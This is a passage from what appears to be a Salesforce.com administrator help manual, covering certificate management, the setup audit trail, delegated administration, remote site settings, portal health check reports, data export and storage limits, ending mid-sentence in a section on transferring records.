After you successfully save a Salesforce.com certificate, the certificate and corresponding keys are automatically generated.
You can have a maximum of 50 certificates.

575
Security and Sharing Uploading Certificate Authority (CA)-Signed Certificates

After you create a CA-signed certificate, you must upload the signed certificate before you can use it.

See Also:
About Salesforce.com Certificates and Keys
Editing Salesforce.com Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates

Uploading Certificate Authority (CA)-Signed Certificates


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates and keys: “Customize Application”

After you create a CA-signed certificate , you must do the following before the certificate is active and you can use the certificate.
Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

1. Click Setup ➤ Security Controls ➤ Certificate and Key Management, click the name of the certificate, then click
Download Certificate Signing Request.
2. Send the certificate request to the certificate authority of your choice.
3. After the certificate authority sends back the signed certificate, click Setup ➤ Security Controls ➤ Certificate and Key
Management, click the name of the certificate, then click Upload Signed Certificate.
4. Click Browse to locate the CA-signed certificate. The CA-signed certificate must match the certificate created in
Salesforce.com. If you try to upload a different CA-signed certificate, the upload fails.
5. Click Save to finish the upload process. Click Cancel at any time to not upload the certificate.

After you successfully upload the signed certificate, the status of the certificate is changed to Active and you can use CA-signed
certificate.

See Also:
About Salesforce.com Certificates and Keys
Creating Salesforce.com Certificates and Key Pairs
Viewing Salesforce.com Certificates and Key Pairs

576
Security and Sharing Viewing Salesforce.com Certificates and Key Pairs

Viewing Salesforce.com Certificates and Key Pairs


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates and keys: “Customize Application”

To view the details of a Salesforce.com certificate, click Setup ➤ Security Controls ➤ Certificate and Key Management,
then click the name of a certificate.
From the certificate detail page, you can do any of the following:

• Click Edit to edit the label or unique name of the certificate.


• Click Delete to delete the certificate.
Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

• Click Download Certificate to download the full Base-64 encoded certificate. This is only available for active certificates.
For CA-signed certificates, you must first upload the signed certificate before you can download or use it.
• Click Download Certificate Signing Request for CA-signed certificates that have not yet had the signed certificate
uploaded.
• Click Upload Signed Certificate to upload the CA-signed certificate.

See Also:
About Salesforce.com Certificates and Keys
Creating Salesforce.com Certificates and Key Pairs
Editing Salesforce.com Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates

Editing Salesforce.com Certificates and Key Pairs


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates and keys: “Customize Application”

After you create a Salesforce.com certificate, you can only change the Label and the Unique Name. You can't change the
type, key size, and so on. The certificate and the keys aren't regenerated when you edit a Salesforce.com certificate.

577
Security and Sharing Monitoring Setup Changes

Caution: Apex and the API use the Unique Name to access the certificate. Changing the Unique Name could cause
your code to break.

To edit a Salesforce.com certificate, click Setup ➤ Security Controls ➤ Certificate and Key Management, then click Edit
next to the name of an existing Salesforce.com certificate.
After you make changes to the names of a Salesforce.com certificate, click Save.

See Also:
About Salesforce.com Certificates and Keys
Creating Salesforce.com Certificates and Key Pairs
Viewing Salesforce.com Certificates and Key Pairs

Monitoring Setup Changes


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view audit trail history: “View Setup and Configuration”

The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your
organization. This can be especially useful in organizations with multiple administrators.
To view the setup audit trail history, click Setup ➤ Security Controls ➤ View Setup Audit Trail. To download your
organization’s full setup history for the past 180 days, click the Download link.
The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the
change, who made it, and what the change was.
The setup audit trail history tracks the following types of changes:

Setup Changes Tracked


Administration • Company information, default settings such as language or locale, and company message changes
• Multiple currency setup changes
• User, portal user, role, and profile changes
• Email address changes for any user
• Deleting email attachments sent as links
• Creating, editing, or deleting email footers
• Record type changes, including creating or renaming record types and assigning record types to
profiles
• Changes to divisions, including creating and editing divisions, transferring divisions, and changing
users’ default division
• Adding or deleting certificates

578
Security and Sharing Monitoring Setup Changes

Setup Changes Tracked


• Domain name changes
• Enabling or disabling Salesforce.com as an identity provider

Customization • Changes to user interface settings, such as collapsible sections, Quick Create, hover details, or the
related list hover links
• Page layout and search layout changes
• Changes made using inline editing
• Custom field and field-level security changes, including changes to formulas, picklist values, and
custom field attributes like the format of auto-number fields or masking of encrypted fields
• Changes to lead settings, lead assignment rules, and lead queues
• Changes to activity settings
• Changes to support settings, business hours, case assignment and escalation rules, and case queues
• Any changes made by salesforce.com Customer Support at your request
• Changes to tab names, including tabs that you reset to the original tab name
• Changes to custom apps, custom objects, and custom tabs
• Changes to contract settings
• Changes to forecast settings
• Enabling or disabling Email-to-Case or On-Demand Email-to-Case
• Changes to custom buttons, links, and s-controls, including standard button overrides
• Enabling or disabling drag-and-drop scheduling
• Enabling, disabling, or customizing similar opportunities
• Enabling or disabling quotes
• Changes to data category groups, data categories, and category-group assignments to objects
• Changes to article types
• Changes to category groups and categories
• Changes to Salesforce Knowledge settings
• Changes to ideas settings
• Changes to answers settings
• Changes to field tracking in feeds
• Changes to campaign influence settings
• Activating or deactivating critical updates
• Enabling or disabling Salesforce Chatter email notifications

Security and • Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access
Sharing Using Hierarchies option
• Password policy changes
• Session settings changes, such as changing the session timeout setting
• Changes to delegated administration groups and the items delegated administrators can manage.
Setup changes made by delegated administrators are tracked as well.
• How many records a user emptied from their Recycle Bin and from the organization's Recycle Bin
• Changes to SAML (Security Assertion Markup Language) configuration settings
• Changes to Salesforce.com certificates

579
Security and Sharing Monitoring Setup Changes

Setup Changes Tracked


Data Management • Mass delete use, including when a mass delete exceeds the user's Recycle Bin limit of 5000 deleted
records. The oldest, excess records will be permanently removed from the Recycle Bin within two
hours of the mass delete transaction time.
• Weekly data export requests
• Use of the campaign member import wizard
• Mass transfer use
• Changes to analytic snapshots, including defining, deleting, or changing the source report or target
object on an analytic snapshot
• Import wizard use

Development • Changes to Apex classes and triggers


• Changes to Visualforce pages, custom components, or static resources
• Changes to custom settings
• Changes to remote access definitions
• Changes to Force.com Sites settings

Various Setup • Creation of an API usage metering notification


• Changes to territories
• Changes to Workflow & Approvals settings
• Changes to approval processes
• Creation and deletion of workflow actions
• Packages from Force.com AppExchange that you installed or uninstalled

Using the • Changes to account team and opportunity team selling settings
application • Activation of Google Apps services
• Changes to mobile configuration settings, including data sets, mobile views, and excluded fields
• A user with the “Manage Partners” permission logging into the partner portal as a partner user
• A user with the “Edit Self-Service Users” permission logging into the Salesforce.com Customer
Portal as a Customer Portal user
• Enabling or disabling a partner portal account
• Disabling a Salesforce.com Customer Portal account
• Enabling or disabling a Salesforce.com Customer Portal and creating multiple Customer Portals
• Creating and changing entitlement processes and entitlement templates
• Enabling or disabling self-registration for a Salesforce.com Customer Portal
• Enabling or disabling Customer Portal or partner portal users

580
Security and Sharing Delegating Administrative Duties

Delegating Administrative Duties


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delegate administration: “Customize Application”
To be a delegated administrator: “View Setup and Configuration”

Use delegated administration to assign limited administrative privileges to selected non-administrator users in your organization.
Delegated administrators can perform the following tasks:

• Creating and editing users and resetting passwords for users in specified roles and all subordinate roles, including setting
quotas, creating default sales teams, and creating personal groups for those users
• Assigning users to specified profiles
• Logging in as a user who has granted login access to their administrator
• Managing custom objects created by an administrator

For example, you may want to allow the manager of the Customer Support team to create and edit users in the Support
Manager role and all subordinate roles. This allows the administrator to focus on tasks other than managing users for every
department that uses Salesforce.com.
To create delegated groups, click Setup ➤ Security Controls ➤ Delegated Administration, then click New.
To manage your delegated groups:

• Click Edit next to a group to modify it.


• Select a group and click Delete to remove it.
• Select a group and click Remove next to the user in the Delegated Administrators related list to remove a user from that
delegated group.

Note: To delegate administration of particular objects, use object permissions, such as “View All” and “Modify All.”

See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Custom Object Administration

581
Security and Sharing Delegating Administrative Duties

Defining Delegated Administrators


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delegate administration: “Customize Application”
To be a delegated administrator: “View Setup and Configuration”

Define delegated administration groups to specify groups of users who you want to have the same administrative privileges.
These groups are not related to public groups used for sharing.

1. Click Setup ➤ Security Controls ➤ Delegated Administration.


2. Click New.
3. Enter a group name.
4. Select Enable Group for Login Access if you want to allow delegated administrators in this group to log in as users
who have granted login access to their administrators and are in the roles selected for the delegated administrator group.
To find out how users can grant login access to their administrators, see Granting Login Access on page 26.
5. Click Save.
6. Click Add in the Delegated Administrators related list to specify the users in this delegated group.
7. Use the magnifying glass lookup icon to find and add users to the group. The users must have the “View Setup and
Configuration” permission.
8. Click Save.
9. See Delegating User Administration on page 583 and Delegating Custom Object Administration on page 584 to specify
what tasks these users can perform.

See Also:
Delegating Administrative Duties

582
Security and Sharing Delegating Administrative Duties

Delegating User Administration


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delegate administration: “Customize Application”
To be a delegated administrator: “View Setup and Configuration”

Enable delegated administrators to manage users in specified roles and all subordinate roles, assign specified profiles to those
users, and log in as users who have granted login access to administrators.

1. Click Setup ➤ Security Controls ➤ Delegated Administration.


2. Select the name of an existing delegated administration group.
3. Click Add in the User Administration related list.
4. Use the magnifying glass lookup icon to find and add roles. Delegated administrators can create and edit users in these
roles and all subordinated roles.
5. Click Save.
6. Click Add in the Assignable Profiles related list.
7. Use the magnifying glass lookup icon to find and add profiles. Delegated administrators can assign these profiles to the
users they create and edit. Note that profiles with the “Modify All Data” permission cannot be assigned by delegated
administrators.
Note: If a user is a member of more than one delegated administration group, be aware that he or she can assign
any of the assignable profiles to any of the users in roles he or she can manage.

8. Click Save.
9. See Delegating Custom Object Administration on page 584 to specify what custom objects the delegated administrators
can manage.

To remove roles or profiles from the list of items the delegated administrators can use, click Remove next to the role or profile.

See Also:
Defining Delegated Administrators
Delegating Administrative Duties

583
Security and Sharing Delegating Administrative Duties

Delegating Custom Object Administration


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delegate administration: “Customize Application”
To be a delegated administrator: “View Setup and Configuration”

Enable delegated administrators to manage custom objects that have been created by an administrator.

1. Click Setup ➤ Security Controls ➤ Delegated Administration.


2. Select the name of an existing delegated administration group.
3. From the detail page of the delegated administration group, click Add in the Custom Object Administration related list.
4. Use the magnifying glass lookup icon to find and add custom objects. Delegated administrators can customize nearly every
aspect of a custom object, including creating a custom tab for it.
5. Click Save. Click Save & More to add additional custom objects.

To remove a custom object from the list of items the delegated administrators can manage, click Remove next to the custom
object.

Notes on Delegated Administration of Custom Objects


• Delegated administrators can customize nearly every aspect of the custom object, including creating a custom tab for it.
However, they cannot create or modify relationships on the object or set organization-wide sharing defaults.
• Delegated administrators need to have access to custom objects if they need to access the merge fields on those objects
from formulas.

See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Administrative Duties

Concurrent Usage Limits


Available in: All Editions

To ensure that resources are available for all Salesforce.com users, limits are placed on the number of long-running Web
requests that one organization can send at the same time. This kind of limit is called a maximum concurrent Web requests limit.
Salesforce.com monitors the number of concurrent requests issued by all users logged in to your organization, and compares

584
Security and Sharing Enabling the Account Owner Report

that number against the maximum limit. In this way, salesforce.com keeps the number of concurrent requests below the
maximum limit. The limit ensures that resources are available uniformly to all organizations and prevents deliberate or accidental
over-consumption by any one organization.
If too many requests are issued by users in your organization, you may have to wait until one of them has finished before you
can perform your task. For example, assume that MyCorporation has 100,000 users. At 9:00 AM, each user requests a report
that contains 200,000 records. Salesforce.com starts to run the report for all users until the maximum number of concurrent
requests has been met. At that point, Salesforce.com refuses to take any additional requests until some of the reports have
completed.
Similar limits are placed on requests issued from the Force.com Web services API. For more information, see Force.com API
Usage Limits on page 1659.

Enabling the Account Owner Report


Available in: Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed


To show or hide account owner report: “Customize Application”

Organizations that have their organization-wide sharing access level set to Private for accounts may want to restrict users from
running the Account Owner report, which lists all accounts and who owns them.
To show or hide this report:

1. Click Setup ➤ Security Controls.


2. Click Account Owner Report. This option is available only in organizations that have a private account sharing model.
3. Select the checkbox to allow all users to run this report. If you leave the box unchecked, only administrators and users with
the “View All Data” permission can run this report.
4. Click Save.

Prohibiting HTML Attachments and Documents


Available in: All Editions

User Permissions Needed


To prohibit uploading of HTML attachments and documents: “Customize Application”

For security reasons, your organization may want to prohibit users from uploading HTML files. The Disallow HTML
documents and attachments security setting, if enabled, blocks users from uploading any file to the Documents tab or
as an attachment to a record if it has one of the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml,
acgi.

585
Security and Sharing Configuring Remote Settings

To prohibit uploading of HTML attachments and documents:

1. Click Setup ➤ Security Controls ➤ HTML Documents and Attachments Settings.


2. Select the Disallow HTML documents and attachments checkbox.
3. Click Save.

Note: HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In
addition, this setting does not affect attachments on email templates; HTML attachments on email templates are
always permitted.
After this setting is enabled, previously-uploaded HTML documents and attachments are unaffected. However, when
users attempt to view an HTML attachment or document, their browser first prompts them to open the file in the
browser, save it to their computer, or cancel the action.

Caution: Do not enable this setting if your organization uses the partner portal to give your partner users access to
Salesforce.com.

See Also:
Adding Attachments
Uploading and Replacing Documents

Configuring Remote Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure remote settings: “Modify All Data”

Before any Visualforce page, Apex callout, or JavaScript code using XmlHttpRequest in an s-control or custom button can
call an external site, that site must be registered in the Remote Site Settings page, or the call will fail.
To access the page, click Setup ➤ Security Controls ➤ Remote Site Settings. This page displays a list of any remote sites
already registered and provides additional information about each site, including remote site name and URL.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:

• 80: This port only accepts HTTP connections.


• 443: This port only accepts HTTPS connections.
• 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

To register a new site:

1. Click New Remote Site.


2. Enter a descriptive term for the Remote Site Name.
3. Enter the URL for the remote site.

586
Security and Sharing Portal Health Check Overview

4. To allow access to the remote site regardless of whether the user's connection is over HTTP or HTTPS, select the Disable
Protocol Security checkbox. When selected, Salesforce.com can pass data from an HTTPS session to an HTTP
session, and vice versa. Only select this checkbox if you understand the security implications.
5. Optionally, enter a description of the site.
6. Click Save to finish, or click Save & New to save your work and begin registering an additional site.

Portal Health Check Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports: “Customize Application”
AND
“Manage Users”
AND
“Modify All Data”

Customer Portals and partner portals let you collaborate with and provide services to your customers and partners. With
portals, you share and capture information from third-party users. To ensure that you don't expose more information than
intended, it's important to follow best practices for portal implementation.
Your customers and partners can access your information via portals in many ways. With portal health check reports, you can
easily monitor this access. Portal health check reports show your security-related portal settings and provide information you
can use to improve portal security.
Note: Currently, portal health check reports show sensitive administrative and user permissions, object permissions,
field-level security, organization-wide default settings, and custom sharing rules. Your portal users can access records
via other means, including manual sharing, Apex managed sharing, territories, list views, groups, queues, teams, content
workspaces, and folders.

To view portal health check reports, click Setup ➤ Security Controls ➤ Portal Health Check, then click the report you
want.
The following reports are included:

• Administrative and User Permissions


• Object Access and Field-Level Security
• Sharing Organization-Wide Defaults
• Sharing Rules

Note: The portal health check reports don't include information for High Volume Customer Portal users, Authenticated
Website User users, or Self-Service portal users.

587
Security and Sharing Portal Health Check Overview

Viewing the Administrative and User Permissions Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports: “Customize Application”
AND
“Manage Users”
AND
“Modify All Data”

Profile permissions are powerful, as they expand users' access to data. It's important to use caution when setting permissions
for a profile.
The Administrative and User Permissions report—one of the portal health check reports—shows portal profiles and their
critical permission settings. For each profile, the report lists the number of portal users assigned to it, and the following
permission settings:

• Delegated Portal User Administrator


• Send Email
• Convert Leads
• Edit Events
• Edit Opportunity Product Sales Price
• Edit Tasks
• Transfer Cases
• Portal Super User
• View Articles
• API Enabled
• Password Never Expires
• Create Workspaces
• View Content in Portals
• Export Reports
• Run Reports

Note: Depending on your organization's settings, some permissions may not appear in the report.

From the report, you can drill down to portal profile detail pages, where you can edit or clone a profile, or view the users
assigned to a profile.
To view this report:

1. Click Setup ➤ Security Controls ➤ Portal Health Check.

588
Security and Sharing Portal Health Check Overview

2. Click Administrative and User Permissions.

From the report page, you can do any of the following:

• To view a profile detail page, click the profile name.


• To show a filtered list of items, select a predefined view from the drop-down list.
• To return to the list of reports, click Back to list: Portal Health Check Reports.

See Also:
Securing Data Access

Viewing the Object Access and Field-Level Security Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports: “Customize Application”
AND
“Manage Users”
AND
“Modify All Data”

Object permissions specify the access that users have to standard and custom objects. The following object permissions respect
the sharing model:

• Read—Users can only view records of this type.


• Create—Users can read and create records.
• Edit—Users can read and update records.
• Delete—Users can read, edit, and delete records.

Field-level security specifies the access that users have to specific fields in object records.
The Object Access and Field-Level Security report—one of the portal health check reports—shows the number of portal
profiles that can access each standard and custom object in your organization. You can view each object's field-level security
settings and permissions. The object-specific reports list portal profiles, showing the number of users assigned to each profile,
the number of visible fields in an object, and the object permissions. You can drill down to portal profile detail pages, where
you can edit or clone a profile, or view the users assigned to a profile. You can also drill down to field-level security detail
pages, where you can edit the settings.
To view this report:

1. Click Setup ➤ Security Controls ➤ Portal Health Check.


2. Click Object Access and Field-Level Security.
3. From the report page, click an object name to view its field-level security settings and permissions by profile.

589
Security and Sharing Portal Health Check Overview

On the object detail page, you can do any of the following:

• To view a profile detail page, click the profile name.


• To view a profile's field-level security detail page, click visible fields.
• To return to the high-level object access and field-level security report, click Object Access and Field-Level Security.

From both report pages, you can do any of the following:

• To show a filtered list of items, select a predefined view from the drop-down list.
• To return to the list of reports, click Back to list: Portal Health Check Reports.

See Also:
Securing Data Access

Viewing the Sharing Organization-Wide Defaults Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports: “Customize Application”
AND
“Manage Users”
AND
“Modify All Data”

To set default sharing access: “Manage Users”


AND
“Customize Application”

Organization-wide default settings specify each object's default access level for users in your organization. If an object's default
access level is Public, users with enabled object permissions (“Read,” “Create,” “Edit,” or “Delete”) may be able to access records
that they don't own. For example, if the default access setting for the account object is Public Read/Write, then any user with
the “Read” permission on the account object can view any account record. When setting organization-wide defaults, you want
to make sure you don't let portal users see objects they shouldn't access.
The Sharing Organization-Wide Defaults report—one of the portal health check reports—lists standard and custom objects
and the default access setting for each object. You can use this report to review and edit the organization-wide default settings
that may expose records to portal users.
To view this report:

1. Click Setup ➤ Security Controls ➤ Portal Health Check.

590
Security and Sharing Portal Health Check Overview

2. Click Sharing Organization-Wide Defaults.


The report lists the default access setting for each object. If an object's default access is Public, Show Details (for calendar),
or Use (for price book), any portal users with enabled object permissions can access other users' records, and the Security
column indicates a weak organization-wide default setting. You can view the specific object permissions granted to portal
profiles in the Object Access and Field-Level Security report.
If the object's default access is Private, Hide Details (for calendar), or No Access (for price book), the Security column
indicates a strong organization-wide default setting.
Note: Even with a strong organization-wide default setting, portal users may have access to other users' records
through exceptions such as sharing rules.

If the Grant Access Using Hierarchies box is checked, any user above a record owner in a territory or role hierarchy can
access the owner's records for that object.

From the report page, you can do any of the following:

• To change the organization-wide sharing settings for any object, click Edit, then change the settings on the
Organization-Wide Sharing Defaults Edit page.
• To show a filtered list of items, select a predefined view from the drop-down list.
• To return to the list of reports, click Back to list: Portal Health Check Reports.

See Also:
Securing Data Access
Managing the Sharing Settings

Viewing the Sharing Rules Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports: “Customize Application”
AND
“Manage Users”
AND
“Modify All Data”

To set sharing rules: “Manage Users”

Administrators can use sharing rules to give sets of users access to records they don't own. In a sharing rule, records owned
by a set of users (such as a group, role, or territory) are shared with another set of users. When creating sharing rules, you want
to make sure you don't let portal users see records they shouldn't access.

591
Security and Sharing Portal Health Check Overview

The Sharing Rules report—one of the portal health check reports—lists all sharing rules that give portal users access to records
they don't own. It shows the number of portal users who may get access to records as a result of each sharing rule, and lets
you edit access levels for each rule. For some types of user sets (like groups, roles, and territories), you can drill down to detail
pages, where you can edit, delete, or manage the users in the set.
To view this report:

1. Click Setup ➤ Security Controls ➤ Portal Health Check.


2. Click Sharing Rules.
The Number of Portal Users Affected column shows the number of portal users who may get access as a result of the
sharing rule. This number includes portal users specified in the rule and, if Grant Access Using Hierarchies is enabled
for the object, any portal users above them in the role or territory hierarchy. If any users in this set have enabled object
permissions (“Read,” “Create,” “Edit,” or “Delete”), they can access records exposed by the rule.
Note: This report doesn't check portal users' object permissions. You can view the specific object permissions
granted to portal profiles in the Object Access and Field-Level Security report.

From the report page, you can do any of the following:

• To change the access level in a sharing rule, click Edit, then change the settings on the sharing rule edit page.
• To view the details of a user set in a sharing rule, click the link in the Owned By or Shared With column.
• To show a filtered list of items, select a predefined view from the drop-down list.
• To return to the list of reports, click Back to list: Portal Health Check Reports.

Note: Account and account territory sharing rules can grant access to contacts, opportunities, and cases associated
with the shared accounts. The Sharing Rules report shows access levels only for top-level objects, not associated objects.

See Also:
Securing Data Access

592
Data Management Exporting Backup Data

DATA MANAGEMENT

Exporting Backup Data


Available in: Enterprise, and Unlimited Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To export data: “Weekly Data Export”

Your organization can sign up to receive backup files of your data. You can export all of your organization's data into a set of
CSV (comma-separated values) files. To sign up for the Data Export Service, contact salesforce.com.
Note: If you give a user the “Weekly Data Export” permission, which is needed to export data, he or she has view
access to all data that is exported, and can see all custom objects and fields in the Weekly Export Service page. This
permission is granted by default only to the System Administrator profile because of the wide visibility it enables.

If your organization is configured for data export, you can generate backup files manually once every six days or schedule them
to generate automatically at weekly or monthly intervals.

1. Click Setup ➤ Data Management ➤ Data Export and Export Now or Schedule Export. The Export Now option
prepares your files for export immediately. This option is only available if a week has passed since your last export. The
Schedule Export option allows you to schedule the export process for weekly or monthly intervals.
2. Select the desired encoding for your export file.
3. Select Include attachments... if you want your export data to include attachments.
4. Select Replace carriage returns with spaces if you want your export files to have spaces instead of carriage
returns or line breaks. This may be useful if you plan to use your export files for importing or other integrations.
5. If you are scheduling your export, select the frequency, start and end dates, and time of day for your scheduled export.
6. Select the types of data to include in your export. If desired, you can include all data in your export file. We recommend
that you include all data if you are not familiar with the terminology used for some of the types of data. Note the following:

• Formula and roll-up summary fields are always excluded from exports.
• Articles are excluded from exports.
• If your organization uses divisions, data from all divisions is included in the export.
• If your organization uses person accounts and you are exporting accounts, all account fields are included in the account
data. For more information on account fields, see Account Fields on page 67.
• If your organization uses person accounts and you are exporting contacts, person account records are included in the
contact data. However, the contact data only includes the fields shared by contacts and person accounts.

7. If you are running the export now, click Start Export. If you scheduled the export, click Save.

593
Data Management Exporting Backup Data

Salesforce.com creates a zip archive of CSV files and emails you when it's ready. Exports typically finish within 48 hours
of submission. Follow the link in the email or click Data Export to download the zip file. Zip files are deleted 48 hours
after the email is sent.
Note: For security purposes, Salesforce.com may require users to pass a user verification test to export data from
their organization. This simple, text-entry test helps prevent malicious programs from accessing your organization's
data.
To pass the test, users must type the two words displayed on the overlay into the overlay's text box field, and click
the Submit button. Note that the words entered into the text box field must be separated by a space.
Salesforce.com uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an
automated program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for
“Completely Automated Public Turing Test To Tell Computers and Humans Apart”.

Tip: Any automated processes that process the export files should rely on the column headings in the CSV files, rather
than the position of the columns.

Depending on the encoding selected, you may have to make adjustments to the export file before viewing it. Use the following
instructions that apply to the character encoding you selected.

Viewing Unicode (UTF-8) Encoded Export Files


If you have Microsoft Excel 2003:
1. Open Microsoft Excel.
2. Click File ➤ New.
3. Click Data ➤ Import External Data ➤ Import Data.
4. Select the CSV file to open and Microsoft Excel will launch the text import wizard.
5. Select “Delimited” and choose the “Unicode (UTF-8)” option for File origin.
6. Click Next.
7. Select “Comma” in the Delimiters section and click Finish. You may be prompted to select a range of cells.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Repeat these steps for each file.


If you have an earlier version of Microsoft Excel (pre 2003):
1. Open the file in Microsoft Excel.
2. Select File ➤ Save As.
3. Save the file as type Web Page.
4. Select Tools ➤ Options ➤ General tab and click the Web Options button.
5. Select the Encoding tab, and then choose the “Unicode (UTF-8)” option.
6. Click OK to close the dialog boxes.
7. Select File ➤ Save to save the file with selected encoding.
8. Repeat these steps for each file.

Viewing Unicode (UTF-16, Big Endian) Encoded Export Files


Open the export files in a text editor that supports this character set. Microsoft Excel does not support this character set.

594
Data Management Monitoring Resources

Viewing Unicode (Little Endian) Encoded Export Files


1. Open the file in Microsoft Excel.
2. Click on column A to highlight the entire first column.
3. Open the Data menu and choose Text to Columns.
4. Select the “Delimited” radio button and click Next.
5. Select “Comma” in the Delimiters section and click Finish.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

6. Repeat these steps for each file.

Monitoring Resources
Available in: All Editions

User Permissions Needed


To view storage usage: “Manage Users”

Storage is divided into two categories: data storage and file storage. File storage includes files in attachments, the Documents
tab, the File field, Salesforce CRM Content, and Salesforce Chatter, including user photos. Data storage includes the following:

• Accounts
• Article types (format: “[Article Type Name] Version”)
• Campaigns
• Campaign Members
• Cases
• Case Teams
• Contacts
• Contracts
• Custom objects
• Email messages
• Events
• Forecast items
• Google docs
• Ideas
• Leads
• Notes
• Opportunities
• Quotes
• Salesforce Chatter: Feed posts and tracked changes
• Solutions

595
Data Management Monitoring Resources

• Tags: Tag applications


• Tags: Unique tags
• Tasks

Data storage and file storage are calculated asynchronously, so if you import or add a large number of records or files, your
organization’s storage usage will not be updated immediately.

Storage Capacity
Each Edition includes a minimum amount of data storage and file storage. Professional, Enterprise, and Unlimited Editions
receive a per-user storage amount multiplied by the number of users in the organization if the result is greater than the minimum
storage amount. Using data storage as an example, an Enterprise Edition organization with 600 users would receive 12,000
MB (12 GB) of data storage, because 20 MB per user multiplied by 600 users is 12,000 MB. A smaller organization, for
example a Professional Edition organization with 20 users, would receive 1 GB of data storage because 20 MB per user
multiplied by 20 users is only 400 MB, which is less than the 1 GB minimum allotted to all Professional Edition organizations.
The values in the Storage Allocation Per User License column below apply to Salesforce and Salesforce Platform user licenses.
The Salesforce Platform Light user license provides 1 MB of data storage and 1 MB of file storage.
Note: The only feature license that provides additional storage is Salesforce CRM Content User; each Salesforce
CRM Content User license provides an additional 512 MB of file storage. To find out if your organization has
Salesforce CRM Content enabled, contact your administrator.

Salesforce.com Edition Data Storage Minimum per File Storage Minimum per Storage Allocation Per User
Organization Organization License
Personal 20 MB (approximately 10,000 20 MB N/A
records)
Contact Manager 1 GB 1 GB N/A
Group 1 GB 1 GB N/A
Professional 1 GB 1 GB 20 MB of data storage and
100 MB of file storage
Enterprise 1 GB, plus 2 MB for each 1 GB 20 MB of data storage and
Silver Partner license and 5 100 MB of file storage
MB for each Gold Partner
license
Unlimited 1 GB, plus 2 MB for each 1 GB 120 MB of data storage and
Silver Partner license and 5 100 MB of file storage
MB for each Gold Partner
license
Developer 5 MB 20 MB N/A

If your organization uses custom user licenses, contact salesforce.com to determine if these licenses provide additional storage.
For a description of user licenses, see Viewing User License Types on page 506.

Viewing Storage Usage


To view your organization’s current storage usage click Setup ➤ Data Management ➤ Storage Usage. You can view the
available space for data storage and file storage, the amount of storage in use per record type, the top users according to storage
utilization, and the largest files in order of size. To view what types of data a particular user is storing, click that user’s name.

596
Data Management Monitoring Resources

In all Editions except Personal Edition, administrators can view storage usage on a user-by-user basis:
1. Click Setup ➤ Manage Users ➤ Users.
2. Click the name of any user.
3. Click View next to the Used Data Space or Used File Space fields to view that user’s storage usage by record type.
Individual users can view their own storage usage in their personal information (see Editing Your Personal Information on
page 24).

Increasing Storage
When your organization has reached its storage limit, you will not be able to create any new data or upload new files. To
reduce your storage usage, try to delete any outdated leads or contacts and remove any unnecessary attachments. In Salesforce
CRM Content, delete files to reduce your storage limit.
To increase your storage limit, you can purchase additional storage space, or in Professional, Enterprise, and Unlimited
Editions, you can also add user licenses. See Adding or Subtracting User Licenses on page 2667.

Storage Considerations
Take the following into consideration when planning your storage needs:
• Person accounts count against both account and contact storage because the API considers each person account to consist
of one account as well as one contact.
• Archived activities count against storage.
• Nothing that is deleted counts against storage.
• Active or archived products, price books, price book entries, and assets do not count against storage.

See Also:
Salesforce.com Editions and Limits
Force.com API Usage Limits

597
Data Management Transferring Records Overview

TRANSFERRING RECORDS

Transferring Records Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To transfer multiple accounts, campaigns, contacts, contracts, “Transfer Record”
and custom objects:
AND
“Edit” on the object type

To transfer multiple leads: “Transfer Leads” OR “Transfer Record”


AND
“Edit” on leads

To transfer multiple cases: “Transfer Cases” OR “Transfer Record”


AND
“Edit” on cases

A record owner, or any user above the owner in the role or territory hierarchy, can transfer a single record to another user.
With some objects, like cases, leads, and campaigns, a user may be granted access to transfer records through sharing. Depending
on the type of object, there may be multiple ways to transfer records to another user:

Method Available for


Transfer a single record Accounts, campaigns, cases, contacts, contracts, leads, and
custom objects
Transfer multiple records by selecting the records from a list Cases, leads, and custom objects, which can belong to either
view and clicking Change Owner a user or a queue
Transfer multiple records using the Mass Transfer tool Accounts, leads, and custom objects

Ability to Change Ownership


• Users with the “Modify All Data” permission, or users with the “Modify All” permission for the given object, can transfer
any record, regardless of who owns the record.
• To transfer a single record or multiple records from a list view, the new owner must have at least the “Read” permission
on the object type. This rule does not apply if you use the mass transfer tool.

598
Data Management Mass Transferring Records

• To transfer ownership of any single record in an organization that does not use territory management, a user must have
the appropriate “Edit” permission and either own the record or be above the owner in the role hierarchy.
For example, to transfer ownership of an account, a user must have the “Edit” permission on accounts and read sharing
